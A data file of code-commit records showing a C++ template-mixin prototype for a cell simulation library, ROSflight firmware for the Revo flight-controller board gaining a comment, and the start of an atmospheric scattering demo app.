typedef Type type;                                      \\\n  };                                                        \\\n  EVAL(LOOP(INTERNAL_MEMBER_REMOVER, name, __VA_ARGS__))\n\n#define BDM_DEFAULT_TEMPLATE                                           \\\n  template <template <typename, typename, int> class TMemberSelector = \\\n                SelectAllMembers>\n\n\/\/\/ Macro to define data member for a simulation object\n\/\/\/ Hides complexity needed to conditionally remove the data member\n#define BDM_DATA_MEMBER(access_modifier, type_name, var_name)               \\\n public:                                                                    \\\n  static constexpr int getDataMemberUid##var_name() { return __COUNTER__; } \\\n access_modifier:                                                           \\\n  typename TMemberSelector<type_name, self,                                 \\\n                           getDataMemberUid##var_name()>::type var_name\n\n#define BDM_PUBLIC_MEMBER(type_name, var_name) \\\n BDM_DATA_MEMBER(public, REMOVE_TRAILING_COMMAS(type_name), var_name)\n\n#define BDM_PROTECTED_MEMBER(type_name, var_name) \\\n BDM_DATA_MEMBER(protected, REMOVE_TRAILING_COMMAS(type_name), var_name)\n\n#define BDM_PRIVATE_MEMBER(type_name, var_name) \\\n BDM_DATA_MEMBER(private, REMOVE_TRAILING_COMMAS(type_name), var_name)\n\nclass NullBaseClass {};\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ core library only defines minimal cell\nBDM_DEFAULT_TEMPLATE\nclass BaseCell {\n public:\n  using self = BaseCell<>;\n  explicit BaseCell(const std::array<double, 3>& pos) : position_(pos) {}\n  BaseCell() : position_{0, 0, 0} {}\n  const std::array<double, 3>& GetPosition() const { return position_; }\n\n protected:\n  BDM_PROTECTED_MEMBER(std::array<double COMMA() 3>, position_);\n  BDM_PROTECTED_MEMBER(double, unused_) = 6.28;\n};\n\ntemplate <typename Cell>\nvoid CoreOp(Cell* cell) {\n  std::cout << cell->GetPosition()[2] << std::endl;\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ libraries for specific specialities add functionality - e.g. Neuroscience\nclass Neurite {};\n\n\/\/ adds Neurites to BaseCell\n\/\/ typename TNeurite = Neurite,\ntemplate <typename Base, template <typename, typename, int>\n                         class TMemberSelector = SelectAllMembers>\nclass Neuron : public Base {\n public:\n  using self = Neuron<Base>;\n  template <class... A>\n  explicit Neuron(const std::vector<Neurite>& neurites, const A&... a)\n      : Base(a...), neurites_{neurites} {}\n  Neuron() = default;\n  const std::vector<Neurite>& GetNeurites() const { return neurites_; }\n\n private:\n  BDM_PRIVATE_MEMBER(std::vector<Neurite>, neurites_);\n};\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ code written by life scientists using package core and Neuroscience extension\ntemplate <typename Base, template <typename, typename, int>\n                         class TMemberSelector = SelectAllMembers>\nclass NeuronExtension : public Base {\n public:\n  using self = NeuronExtension<Base>;\n  template <class... A>\n  explicit NeuronExtension(double foo, const A&... a)\n      : Base(a...), foo_{foo} {}\n  NeuronExtension() = default;\n  double GetFoo() const {\n    volatile auto& foo = Base::position_;\n    return foo_;\n  }\n\n private:\n  BDM_PRIVATE_MEMBER(double, foo_) = 3.14;\n};\n\ntemplate <typename Cell>\nvoid CustomOp(const Cell& cell) {\n  std::cout << cell->GetNeurites().size() << \" - \" << cell->GetFoo()\n            << std::endl;\n}\n\nNEW_MEMBER_REMOVER(RemoveUnused, BaseCell<>, unused_);\n\nBDM_DEFAULT_TEMPLATE\nusing MyNeuron = Neuron<BaseCell<TMemberSelector>, TMemberSelector>;\n\nBDM_DEFAULT_TEMPLATE\nusing MyExtendedNeuron =\n    NeuronExtension<Neuron<BaseCell<TMemberSelector>, TMemberSelector>,\n                    TMemberSelector>;\n\nint main() {\n  BaseCell<> base;\n  CoreOp(&base);\n\n  Neuron<BaseCell<> > neuron;\n  CoreOp(&base);\n  std::cout << neuron.GetNeurites().size() << std::endl;\n\n  MyNeuron<> my_neuron;\n  MyNeuron<RemoveUnused> my_neuron_wo_unused;\n\n  std::cout << sizeof(my_neuron) << \" - \" << sizeof(my_neuron_wo_unused)\n            << std::endl;\n\n  NeuronExtension<Neuron<BaseCell<> > > extended_neuron;\n  CustomOp(&extended_neuron);\n\n  MyExtendedNeuron<> my_extended_neuron(1.2, std::vector<Neurite>{Neurite()},\n                                        std::array<double, 3>{1, 2, 3});\n  MyExtendedNeuron<RemoveUnused> my_extended_neuron_wo_unused;\n  std::cout << sizeof(my_extended_neuron) << \" - \"\n            << sizeof(my_extended_neuron_wo_unused) << std::endl;\n  CoreOp(&my_extended_neuron);\n  CustomOp(&my_extended_neuron);\n\n  return 0;\n}\n<commit_msg>Integrate data member selectors in flexibility prototype<commit_after>\/\/ This example demonstrates how classes can be extended \/ modified using\n\/\/ mixins and templates\n\/\/ Contruction problem is solved using variadic templates and perfect forwarding\n\n#include <array>\n#include <iostream>\n#include <string>\n#include <typeinfo>\n#include <utility>\n#include <vector>\n#include <stdexcept>\n\n#include \"cpp_magic.h\"\n#include \"timing.h\"\n\nusing std::ostream;\n\n\/\/\/ default data member selector which does not remove any data members\ntemplate <typename Type, typename EnclosingClass, int id>\nstruct SelectAllMembers {\n  typedef Type type;\n};\n\n\/\/\/ Type for removed data members - which can be optimized out by the compiler\nstruct Nulltype {\n  int empty[0] = {};\n  Nulltype() {}\n  template <typename T>\n  Nulltype(T&& d) {}  \/\/ NOLINT(runtime\/explicit)\n  template <typename T>\n  Nulltype& operator=(const T& other) {\n    return *this;\n  }\n\n  template <typename T>\n  Nulltype(std::initializer_list<T>) {}\n\n  friend ostream& operator<<(ostream& out, const Nulltype& value) {\n    return out;\n  }\n};\n\n\/\/\/ loops over variadic macro arguments and calls the specified operation\n\/\/\/ removes the first three parameters in each iteration, but adds the first one\n\/\/\/ again for the next call\n\/\/\/ e.g. LOOP(OP, a, b, c, d, e) will lead to:\n\/\/\/ OP(a, b, c)\n\/\/\/ OP(a, d, e)\n\/\/\/ For a more detailed explanation see `MAP` macro in `third_party\/cpp_magic.h`\n\/\/ clang-format off\n#define LOOP(operation, first, second, third, ...)           \\\n  operation(first, second, third)                            \\\n  IF(HAS_ARGS(__VA_ARGS__))(                                 \\\n    DEFER2(_LOOP)()(operation, first, __VA_ARGS__))\n#define _LOOP() LOOP\n\/\/ clang-format on\n\n\/\/\/ adds the partial template specialization to select one clazz-member pair\n\/\/\/ only for internal usage - will be called inside LOOP\n\/\/\/ @param name:    selector name\n\/\/\/ @param clazz:   clazz of the data member\n\/\/\/ @param member:  data member name\n#define INTERNAL_SELECT_MEMBER(name, clazz, member)             \\\n  template <typename Type>                                      \\\n  struct name<Type, clazz, clazz::getDataMemberUid##member()> { \\\n    typedef Type type;                                          \\\n  };\n\n\/\/\/ creates a new selector type\n\/\/\/ it only enables the specified data members if applied to a simulation object\n\/\/\/ others will be removed\n#define NEW_MEMBER_SELECTOR(name, ...)                      \\\n  template <typename Type, typename EnclosingClass, int id> \\\n  struct name {                                             \\\n    typedef Nulltype type;                                  \\\n  };                                                        \\\n  EVAL(LOOP(INTERNAL_SELECT_MEMBER, name, __VA_ARGS__))\n\n\/\/\/ adds the partial template specialization to remove one clazz-member pair\n\/\/\/ only for internal usage - will be called inside LOOP\n\/\/\/ @param name:    selector name\n\/\/\/ @param clazz:   clazz of the data member\n\/\/\/ @param member:  data member name\n#define INTERNAL_MEMBER_REMOVER(name, clazz, member)            \\\n  template <typename Type>                                      \\\n  struct name<Type, clazz, clazz::getDataMemberUid##member()> { \\\n    typedef Nulltype type;                                      \\\n  };\n\n\/\/\/ creates a new selector type\n\/\/\/ it removes the specified data members if applied to a simulation object\n\/\/\/ others will be kept -> inverse of NEW_MEMBER_SELECTOR\n#define NEW_MEMBER_REMOVER(name, ...)                       \\\n  template <typename Type, typename EnclosingClass, int id> \\\n  struct name {                                             \\\n    typedef Type type;                                      \\\n  };                                                        \\\n  EVAL(LOOP(INTERNAL_MEMBER_REMOVER, name, __VA_ARGS__))\n\n#define BDM_DEFAULT_TEMPLATE(template_param_name)                          \\\n  template <template <typename, typename, int> class template_param_name = \\\n                SelectAllMembers>\n\n\/\/\/ Macro to define data member for a simulation object\n\/\/\/ Hides complexity needed to conditionally remove the data member\n#define BDM_DATA_MEMBER(access_modifier, type_name, var_name)               \\\n public:                                                                    \\\n  static constexpr int getDataMemberUid##var_name() { return __COUNTER__; } \\\n  access_modifier:                                                          \\\n  typename TMemberSelector<type_name, self,                                 \\\n                           getDataMemberUid##var_name()>::type var_name\n\n#define BDM_PUBLIC_MEMBER(type_name, var_name) \\\n  BDM_DATA_MEMBER(public, REMOVE_TRAILING_COMMAS(type_name), var_name)\n\n#define BDM_PROTECTED_MEMBER(type_name, var_name) \\\n  BDM_DATA_MEMBER(protected, REMOVE_TRAILING_COMMAS(type_name), var_name)\n\n#define BDM_PRIVATE_MEMBER(type_name, var_name) \\\n  BDM_DATA_MEMBER(private, REMOVE_TRAILING_COMMAS(type_name), var_name)\n\n\/\/\/ Macro to insert required boilerplate code into classes\n\/\/\/ @param: self_specifier: used to point to static members \/ functions of this\n\/\/\/         class - use PlaceholderType for template parameters without default\n\/\/\/         parameter - e.g.\n\/\/\/         `class A {};`\n\/\/\/           -> self_specifier: A\n\/\/\/         `template<typename T=DefaultValue> class B {};`\n\/\/\/           -> self_specifier: B<>\n\/\/\/         `template<typename T, typename U> class C {};`\n\/\/\/           -> self_specifier: C<PlaceholderType COMMA() PlaceholderType>\n#define BDM_CLASS_HEADER(self_specifier)                                 \\\n public:                                                                 \\\n  using self = self_specifier;                                           \\\n  template <typename Type, typename EnclosingClass, int id>              \\\n  using TMemberSelector =                                                \\\n      typename Base::template TMemberSelector<Type, EnclosingClass, id>; \\\n                                                                         \\\n private:\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ core library\nBDM_DEFAULT_TEMPLATE(TTMemberSelector)\nstruct BdmSimObject {\n  template <typename Type, typename EnclosingClass, int id>\n  using TMemberSelector = TTMemberSelector<Type, EnclosingClass, id>;\n};\n\n\/\/\/ This struct is used to access static functions \/ members of a class that\n\/\/\/ has template parameter(s) without a default value.\n\/\/\/ e.g.\n\/\/\/ ```\n\/\/\/ template <typename T> class Foo { static const int kBar = 3; };\n\/\/\/ Foo<PlaceholderType>::kBar\n\/\/\/ ```\n\/\/\/ The definition of the static function \/ member must be invariant of the\n\/\/\/ template parameter(s)\n\/\/\/ e.g. `Foo<PlaceholderType>::kBar == Foo<AnyOtherType>::kBar`\n\/\/\/ Usage solely to create a valid id for the scope operator. It is not allowed\n\/\/\/ to instantiate an object with template parameter PlaceholderType. The\n\/\/\/ following statement is invalid and will throw an exception at runtime:\n\/\/\/ `Foo<PlaceholderType> foo;`\nstruct PlaceholderType : public BdmSimObject<> {\n  PlaceholderType() {\n    throw std::logic_error(\n        \"Creating an instance of type PlaceholderType is not allowed. \"\n        \"PlaceholderType should solely be used for creating a valid id \"\n        \"for the scope operator\");\n  }\n  template <class... A>\n  PlaceholderType(const A&... a)\n      : PlaceholderType() {}\n};\n\ntemplate <typename Base = BdmSimObject<> >\nclass BaseCell : public Base {\n  BDM_CLASS_HEADER(BaseCell<>);\n\n public:\n  explicit BaseCell(const std::array<double, 3>& pos) : position_(pos) {}\n  BaseCell() : position_{0, 0, 0} {}\n  const std::array<double, 3>& GetPosition() const { return position_; }\n\n protected:\n  BDM_PROTECTED_MEMBER(std::array<double COMMA() 3>, position_);\n  BDM_PROTECTED_MEMBER(double, unused_) = 6.28;\n};\n\ntemplate <typename Cell>\nvoid CoreOp(Cell* cell) {\n  std::cout << \"[CoreOp] cell z-position: \" << cell->GetPosition()[2]\n            << std::endl;\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ libraries for specific specialities add functionality - e.g. Neuroscience\nclass Neurite {};\n\n\/\/ add Neurites to BaseCell\ntemplate <typename Base = BaseCell<> >\nclass Neuron : public Base {\n  BDM_CLASS_HEADER(Neuron<>);\n\n public:\n  template <class... A>\n  explicit Neuron(const std::vector<Neurite>& neurites, const A&... a)\n      : Base(a...), neurites_{neurites} {}\n  Neuron() = default;\n  const std::vector<Neurite>& GetNeurites() const { return neurites_; }\n\n private:\n  BDM_PRIVATE_MEMBER(std::vector<Neurite>, neurites_);\n};\n\n\/\/ define easy to use templated type alias\nBDM_DEFAULT_TEMPLATE(MemberSelector)\nusing BdmNeuron = Neuron<BaseCell<BdmSimObject<MemberSelector> > >;\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ code written by life scientists using package core and Neuroscience extension\n\/\/ extend Neuron definition provided by extension\ntemplate <typename Base>\nclass NeuronExtension : public Base {\n  BDM_CLASS_HEADER(NeuronExtension<PlaceholderType>);\n\n public:\n  template <class... A>\n  explicit NeuronExtension(double foo, const A&... a)\n      : Base(a...), foo_{foo} {}\n  NeuronExtension() = default;\n  double GetFoo() const {\n    volatile auto& foo = Base::position_;\n    return foo_;\n  }\n\n private:\n  BDM_PRIVATE_MEMBER(double, foo_) = 3.14;\n};\n\n\/\/ define easy to use templated type alias\nBDM_DEFAULT_TEMPLATE(MemberSelector)\nusing MyExtendedNeuron =\n    NeuronExtension<Neuron<BaseCell<BdmSimObject<MemberSelector> > > >;\n\n\/\/ define some client code that processes extended neurons\ntemplate <typename Cell>\nvoid CustomOp(const Cell& cell) {\n  std::cout << \"[CustomOp] cell #neurites \" << cell->GetNeurites().size()\n            << std::endl\n            << \"           cell.foo_      \" << cell->GetFoo() << std::endl;\n}\n\n\/\/ define member selectors to remove data members that won't be used in the\n\/\/ simulation\nNEW_MEMBER_REMOVER(RemoveUnused, BaseCell<>, unused_);\nNEW_MEMBER_SELECTOR(FooSelector, NeuronExtension<PlaceholderType>, foo_);\n\nint main() {\n  \/\/ --------------------------\n  \/\/ use only classes from core\n  BaseCell<> base;\n  CoreOp(&base);\n\n  \/\/ -------------------------------------\n  \/\/ use class from neuroscience extension\n  Neuron<> neuron;\n  CoreOp(&neuron);\n\n  BdmNeuron<> neuron1;\n  \/\/ following statement is equivalent to:\n  \/\/ Neuron<BaseCell<BdmSimObject<RemoveUnused> > >\n  BdmNeuron<RemoveUnused> neuron_wo_unused;\n\n  std::cout << \"sizeof(neuron1)          \" << sizeof(neuron1) << std::endl\n            << \"sizeof(neuron_wo_unused) \" << sizeof(neuron_wo_unused)\n            << std::endl;\n\n  \/\/ ---------------------\n  \/\/ use customized neuron\n  NeuronExtension<Neuron<> > extended_neuron;\n  CoreOp(&extended_neuron);\n  CustomOp(&extended_neuron);\n\n  \/\/ equivalent but with easier interface\n  MyExtendedNeuron<> extended_neuron1(1.2, std::vector<Neurite>{Neurite()},\n                                      std::array<double, 3>{1, 2, 3});\n  CoreOp(&extended_neuron1);\n  CustomOp(&extended_neuron1);\n\n  \/\/ easier customizeble interface to\n  MyExtendedNeuron<RemoveUnused> extended_neuron_wo_unused;\n  MyExtendedNeuron<FooSelector> extended_neuron_only_foo;\n  std::cout << \"sizeof(extended_neuron1)          \" << sizeof(extended_neuron1)\n            << std::endl\n            << \"sizeof(extended_neuron_wo_unused) \"\n            << sizeof(extended_neuron_wo_unused) << std::endl\n            << \"sizeof(extended_neuron_only_foo)  \"\n            << sizeof(extended_neuron_only_foo) << std::endl;\n\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2017, James Jackson and Daniel Koch, BYU MAGICC Lab\n *\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * * Redistributions of source code must retain the above copyright notice, this\n *   list of conditions and the following disclaimer.\n *\n * * Redistributions in binary form must reproduce the above copyright notice,\n *   this list of conditions and the following disclaimer in the documentation\n *   and\/or other materials provided with the distribution.\n *\n * * Neither the name of the copyright holder nor the names of its\n *   contributors may be used to endorse or promote products derived from\n *   this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#pragma GCC diagnostic push\n#pragma GCC diagnostic ignored \"-Wold-style-cast\"\n\n#include \"revo.h\"\n\nnamespace rosflight_firmware {\n\nRevo::Revo()\n{\n}\nRevo::~Revo()\n{\n\n}\n\nvoid Revo::init_board(void)\n{\n  systemInit();\n  led2_.init(LED2_GPIO, LED2_PIN);\n  led1_.init(LED1_GPIO, LED1_PIN);\n\n  int_i2c_.init(&i2c_config[MAG_I2C]);\n  ext_i2c_.init(&i2c_config[EXTERNAL_I2C]);\n  spi1_.init(&spi_config[MPU6000_SPI]);\n  spi3_.init(&spi_config[FLASH_SPI]);\n\n  serial_interfaces_[0]=&vcp_;\n  serial_interfaces_[1]=&uart_;\n\n  this->current_serial_=&uart_;\n  \/\/this->current_serial_=&vcp;\n}\n\nvoid Revo::board_reset(bool bootloader)\n{\n  NVIC_SystemReset();\n}\n\n\/\/ clock\nuint32_t Revo::clock_millis()\n{\n  return millis();\n}\n\nuint64_t Revo::clock_micros()\n{\n  return micros();\n}\n\nvoid Revo::clock_delay(uint32_t milliseconds)\n{\n  delay(milliseconds);\n}\n\n\/\/ serial\nvoid Revo::serial_init(uint32_t baud_rate)\n{\n  uart_.init(&uart_config[0], baud_rate);\n  vcp_.init();\n}\n\nvoid Revo::serial_write(const uint8_t *src, size_t len)\n{\n  current_serial_->write(src, len);\n}\n\nuint16_t Revo::serial_bytes_available(void)\n{\n  return current_serial_->rx_bytes_waiting();\n}\n\nuint8_t Revo::serial_read(void)\n{\n  return current_serial_->read_byte();\n}\n\nvoid Revo::serial_flush()\n{\n  current_serial_->flush();\n}\n\nSerial** Revo::get_serial_interfaces()\n{\n    return serial_interfaces_;\n}\n\nuint8_t Revo::get_serial_count()\n{\n    return 2;\n}\n\n\n\/\/ sensors\nvoid Revo::sensors_init()\n{\n  imu_.init(&spi1_);\n  mag_.init(&int_i2c_);\n  baro_.init(&int_i2c_);\n  airspeed_.init(&ext_i2c_);\n\n  while(millis() < 50); \/\/ wait for sensors to boot up\n}\n\nuint16_t Revo::num_sensor_errors(void)\n{\n  return int_i2c_.num_errors();\n}\n\nbool Revo::new_imu_data()\n{\n  return imu_.new_data();\n}\n\nbool Revo::imu_read(float accel[3], float* temperature, float gyro[3], uint64_t* time_us)\n{\n  float read_accel[3], read_gyro[3];\n  imu_.read(read_accel, read_gyro, temperature, time_us);\n\n  accel[0] = -read_accel[1];\n  accel[1] = -read_accel[0];\n  accel[2] = -read_accel[2];\n\n  gyro[0] = -read_gyro[1];\n  gyro[1] = -read_gyro[0];\n  gyro[2] = -read_gyro[2];\n\n  return true;\n}\n\nvoid Revo::imu_not_responding_error(void)\n{\n  sensors_init();\n}\n\nvoid Revo::mag_read(float mag[3])\n{\n  mag_.update();\n  mag_.read(mag);\n}\n\nbool Revo::mag_check(void)\n{\n  mag_.update();\n  return mag_.present();\n}\n\nvoid Revo::baro_read(float *pressure, float *temperature)\n{\n  baro_.update();\n  baro_.read(pressure, temperature);\n}\n\nbool Revo::baro_check()\n{\n  baro_.update();\n  return baro_.present();\n}\n\nbool Revo::diff_pressure_check(void)\n{\n  airspeed_.update();\n  return airspeed_.present();\n}\n\nvoid Revo::diff_pressure_read(float *diff_pressure, float *temperature)\n{\n  airspeed_.update();\n  airspeed_.read(diff_pressure, temperature);\n}\n\nbool Revo::sonar_check(void)\n{\n  return false;\n}\n\nfloat Revo::sonar_read(void)\n{\n  return 0.0;\n}\n\n\/\/ PWM\nvoid Revo::pwm_init(bool cppm, uint32_t refresh_rate, uint16_t idle_pwm)\n{\n  for (int i = 0; i < PWM_NUM_OUTPUTS; i++)\n  {\n    esc_out_[i].init(&pwm_config[i], refresh_rate, 2000, 1000);\n    esc_out_[i].writeUs(idle_pwm);\n  }\n  rc_.init(&pwm_config[RC_PPM_PIN]);\n}\n\nuint16_t Revo::pwm_read(uint8_t channel)\n{\n  return rc_.read(channel);\n}\n\nvoid Revo::pwm_write(uint8_t channel, uint16_t value)\n{\n  esc_out_[channel].writeUs(value);\n}\n\nbool Revo::pwm_lost()\n{\n  return rc_.lost();\n}\n\n\/\/ non-volatile memory\nvoid Revo::memory_init(void)\n{\n  return flash_.init(&spi3_);\n}\n\nbool Revo::memory_read(void * data, size_t len)\n{\n  return flash_.read_config((uint8_t*)data, len);\n}\n\nbool Revo::memory_write(const void * data, size_t len)\n{\n  return flash_.write_config((uint8_t*)data, len);\n}\n\n\/\/ LED\nvoid Revo::led0_on(void) { led1_.on(); }\nvoid Revo::led0_off(void) { led1_.off(); }\nvoid Revo::led0_toggle(void) { led1_.toggle(); }\n\nvoid Revo::led1_on(void) { led2_.on(); }\nvoid Revo::led1_off(void) { led2_.off(); }\nvoid Revo::led1_toggle(void) { led2_.toggle(); }\n}\n\n#pragma GCC diagnostic pop\n<commit_msg>Add a small comment<commit_after>\/*\n * Copyright (c) 2017, James Jackson and Daniel Koch, BYU MAGICC Lab\n *\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * * Redistributions of source code must retain the above copyright notice, this\n *   list of conditions and the following disclaimer.\n *\n * * Redistributions in binary form must reproduce the above copyright notice,\n *   this list of conditions and the following disclaimer in the documentation\n *   and\/or other materials provided with the distribution.\n *\n * * Neither the name of the copyright holder nor the names of its\n *   contributors may be used to endorse or promote products derived from\n *   this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#pragma GCC diagnostic push\n#pragma GCC diagnostic ignored \"-Wold-style-cast\"\n\n#include \"revo.h\"\n\nnamespace rosflight_firmware {\n\nRevo::Revo()\n{\n}\nRevo::~Revo()\n{\n\n}\n\nvoid Revo::init_board(void)\n{\n  systemInit();\n  led2_.init(LED2_GPIO, LED2_PIN);\n  led1_.init(LED1_GPIO, LED1_PIN);\n\n  int_i2c_.init(&i2c_config[MAG_I2C]);\n  ext_i2c_.init(&i2c_config[EXTERNAL_I2C]);\n  spi1_.init(&spi_config[MPU6000_SPI]);\n  spi3_.init(&spi_config[FLASH_SPI]);\n\n  serial_interfaces_[0]=&vcp_;\n  serial_interfaces_[1]=&uart_;\n\n  this->current_serial_=&uart_;\n  \/\/this->current_serial_=&vcp;    \/\/uncomment this to switch to VCP\n}\n\nvoid Revo::board_reset(bool bootloader)\n{\n  NVIC_SystemReset();\n}\n\n\/\/ clock\nuint32_t Revo::clock_millis()\n{\n  return millis();\n}\n\nuint64_t Revo::clock_micros()\n{\n  return micros();\n}\n\nvoid Revo::clock_delay(uint32_t milliseconds)\n{\n  delay(milliseconds);\n}\n\n\/\/ serial\nvoid Revo::serial_init(uint32_t baud_rate)\n{\n  uart_.init(&uart_config[0], baud_rate);\n  vcp_.init();\n}\n\nvoid Revo::serial_write(const uint8_t *src, size_t len)\n{\n  current_serial_->write(src, len);\n}\n\nuint16_t Revo::serial_bytes_available(void)\n{\n  return current_serial_->rx_bytes_waiting();\n}\n\nuint8_t Revo::serial_read(void)\n{\n  return current_serial_->read_byte();\n}\n\nvoid Revo::serial_flush()\n{\n  current_serial_->flush();\n}\n\nSerial** Revo::get_serial_interfaces()\n{\n    return serial_interfaces_;\n}\n\nuint8_t Revo::get_serial_count()\n{\n    return 2;\n}\n\n\n\/\/ sensors\nvoid Revo::sensors_init()\n{\n  imu_.init(&spi1_);\n  mag_.init(&int_i2c_);\n  baro_.init(&int_i2c_);\n  airspeed_.init(&ext_i2c_);\n\n  while(millis() < 50); \/\/ wait for sensors to boot up\n}\n\nuint16_t Revo::num_sensor_errors(void)\n{\n  return int_i2c_.num_errors();\n}\n\nbool Revo::new_imu_data()\n{\n  return imu_.new_data();\n}\n\nbool Revo::imu_read(float accel[3], float* temperature, float gyro[3], uint64_t* time_us)\n{\n  float read_accel[3], read_gyro[3];\n  imu_.read(read_accel, read_gyro, temperature, time_us);\n\n  accel[0] = -read_accel[1];\n  accel[1] = -read_accel[0];\n  accel[2] = -read_accel[2];\n\n  gyro[0] = -read_gyro[1];\n  gyro[1] = -read_gyro[0];\n  gyro[2] = -read_gyro[2];\n\n  return true;\n}\n\nvoid Revo::imu_not_responding_error(void)\n{\n  sensors_init();\n}\n\nvoid Revo::mag_read(float mag[3])\n{\n  mag_.update();\n  mag_.read(mag);\n}\n\nbool Revo::mag_check(void)\n{\n  mag_.update();\n  return mag_.present();\n}\n\nvoid Revo::baro_read(float *pressure, float *temperature)\n{\n  baro_.update();\n  baro_.read(pressure, temperature);\n}\n\nbool Revo::baro_check()\n{\n  baro_.update();\n  return baro_.present();\n}\n\nbool Revo::diff_pressure_check(void)\n{\n  airspeed_.update();\n  return airspeed_.present();\n}\n\nvoid Revo::diff_pressure_read(float *diff_pressure, float *temperature)\n{\n  airspeed_.update();\n  airspeed_.read(diff_pressure, temperature);\n}\n\nbool Revo::sonar_check(void)\n{\n  return false;\n}\n\nfloat Revo::sonar_read(void)\n{\n  return 0.0;\n}\n\n\/\/ PWM\nvoid Revo::pwm_init(bool cppm, uint32_t refresh_rate, uint16_t idle_pwm)\n{\n  for (int i = 0; i < PWM_NUM_OUTPUTS; i++)\n  {\n    esc_out_[i].init(&pwm_config[i], refresh_rate, 2000, 1000);\n    esc_out_[i].writeUs(idle_pwm);\n  }\n  rc_.init(&pwm_config[RC_PPM_PIN]);\n}\n\nuint16_t Revo::pwm_read(uint8_t channel)\n{\n  return rc_.read(channel);\n}\n\nvoid Revo::pwm_write(uint8_t channel, uint16_t value)\n{\n  esc_out_[channel].writeUs(value);\n}\n\nbool Revo::pwm_lost()\n{\n  return rc_.lost();\n}\n\n\/\/ non-volatile memory\nvoid Revo::memory_init(void)\n{\n  return flash_.init(&spi3_);\n}\n\nbool Revo::memory_read(void * data, size_t len)\n{\n  return flash_.read_config((uint8_t*)data, len);\n}\n\nbool Revo::memory_write(const void * data, size_t len)\n{\n  return flash_.write_config((uint8_t*)data, len);\n}\n\n\/\/ LED\nvoid Revo::led0_on(void) { led1_.on(); }\nvoid Revo::led0_off(void) { led1_.off(); }\nvoid Revo::led0_toggle(void) { led1_.toggle(); }\n\nvoid Revo::led1_on(void) { led2_.on(); }\nvoid Revo::led1_off(void) { led2_.off(); }\nvoid Revo::led1_toggle(void) { led2_.toggle(); }\n}\n\n#pragma GCC diagnostic pop\n<|endoftext|>"}
{"text":"<commit_before>#include \"input\/Input.hpp\"\r\n#include \"Application.hpp\"\r\n#include \"resources\/ResourcesManager.hpp\"\r\n#include \"graphics\/ScreenQuad.hpp\"\r\n#include \"graphics\/Framebuffer.hpp\"\r\n#include \"graphics\/GLUtilities.hpp\"\r\n#include \"system\/Window.hpp\"\r\n#include \"system\/System.hpp\"\r\n#include \"generation\/Random.hpp\"\r\n#include \"system\/Config.hpp\"\r\n#include \"Common.hpp\"\r\n\r\n\/**\r\n \\defgroup AtmosphericScattering Atmospheric scattering\r\n \\brief Demonstrate real-time approximate atmospheric scattering simulation.\r\n \\see GPU::Frag::Atmosphere\r\n \\ingroup Applications\r\n *\/\r\n\r\n\/** \\brief Demo application for the atmospheric scattering shader.\r\n \\ingroup AtmosphericScattering\r\n *\/\r\nclass AtmosphereApp final : public CameraApp {\r\npublic:\r\n\t\r\n\t\/** Constructor\r\n\t \\param config rendering config\r\n\t *\/\r\n\tAtmosphereApp(RenderingConfig & config) : CameraApp(config) {\r\n\t\t_userCamera.projection(config.screenResolution[0] \/ config.screenResolution[1], 1.34f, 0.1f, 100.0f);\r\n\t\t\/\/ Framebuffer to store the rendered atmosphere result before tonemapping and upscaling to the window size.\r\n\t\tconst glm::vec2 renderRes = _config.renderingResolution();\r\n\t\t_atmosphereBuffer.reset(new Framebuffer(uint(renderRes[0]), uint(renderRes[1]), {Layout::RGB32F, Filter::LINEAR_NEAREST, Wrap::CLAMP}, false, \"Atmosphere\"));\r\n\t\t\/\/ Lookup table.\r\n\t\t_precomputedScattering = Resources::manager().getTexture(\"scattering-precomputed\", {Layout::RGB32F, Filter::LINEAR_LINEAR, 